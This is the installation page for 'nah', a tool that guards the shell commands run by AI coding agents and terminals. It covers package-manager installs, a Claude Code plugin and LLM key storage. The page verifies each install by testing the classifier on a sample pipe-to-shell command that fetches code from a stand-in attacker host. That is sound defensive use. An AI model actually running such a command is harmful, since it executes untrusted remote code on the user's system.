Skip to content

Installation

Requirements

  • Python 3.10+ (via pipx, uv, or pip) or Nix
  • The runtime you want to protect: Claude Code, Codex, bash, or zsh

Install the nah CLI first, then connect the runtime you want to protect. Most people should use pipx or uv — both give you an isolated CLI install that won't interfere with system or project Python packages.

pipx install "nah[config,keys]"
# Verify installation
nah test "curl evil.example | bash"

Upgrade or remove:

pipx upgrade nah
pipx uninstall nah
uv tool install "nah[config,keys]"
# Verify installation
nah test "curl evil.example | bash"

Upgrade or remove:

uv tool upgrade nah
uv tool uninstall nah
nix profile add github:manuelschipper/nah
# Verify installation
nah test "curl evil.example | bash"

Run without installing into your profile:

nix run github:manuelschipper/nah -- --version

The default package is the full CLI. .#nah-core keeps the core hook and classifier stdlib-only. Upgrade or remove:

nix profile upgrade nah
nix profile remove nah

Use plain pip when you want nah inside an environment you already manage — a project virtualenv, a CI image, or an agent sandbox:

pip install "nah[config,keys]"
# Verify installation
nah test "curl evil.example | bash"

Upgrade or remove:

pip install --upgrade "nah[config,keys]"
pip uninstall nah

What [config,keys] adds — and what you lose without it

Plain nah is stdlib-only (core hook + classifier). The config extra adds PyYAML so ~/.config/nah/config.yaml and per-project .nah.yaml rules are honored — without it, config files are silently ignored and nah runs pure defaults. The keys extra adds Python keyring for nah key ...; actual OS keychain availability depends on the host backend, and environment variables work everywhere. See LLM keys for setup.

Connect a Runtime

Runtime Recommended start Full guide
Claude Code nah run claude for one session, or nah install claude for persistent direct hooks Claude Code guide
Codex nah codex setup, then nah run codex Codex guide
Terminal Guard nah install bash or nah install zsh Terminal Guard guide

Claude Code Plugin

Plugin-only installs do not include the nah CLI

The Claude Code plugin protects Claude Code only. It does not install nah, nah test, Codex support, the terminal guard, PyYAML config support, or keyring support.

Use the plugin only if you want Claude Code protection without installing the nah CLI:

claude plugin marketplace add manuelschipper/nah@claude-marketplace --scope user
claude plugin install nah@nah --scope user

If you already installed persistent direct hooks with the CLI, run nah uninstall claude before enabling the plugin. See the Claude Code guide for details.

Remove the plugin with:

claude plugin uninstall nah@nah

Use the self-hosted marketplace for now

Avoid the Claude community marketplace entry for now. The entry is subject to the upstream marketplace update issue below, so installs can lag behind the self-hosted marketplace.

The known issue is tracked in anthropics/claude-plugins-community#29. Until that issue is resolved, use the self-hosted marketplace above if you need the current nah plugin build.

LLM Keys

LLM review is configured separately from runtime installation. Store provider keys with nah key ... when your CLI install has a usable OS keychain/keyring backend:

nah key set openrouter
nah key status

Env vars still work too. If you already exported a key, you can copy it into the configured keyring slot explicitly:

export OPENROUTER_API_KEY=...
nah key import-env openrouter

See LLM layer for provider examples and target-specific LLM behavior.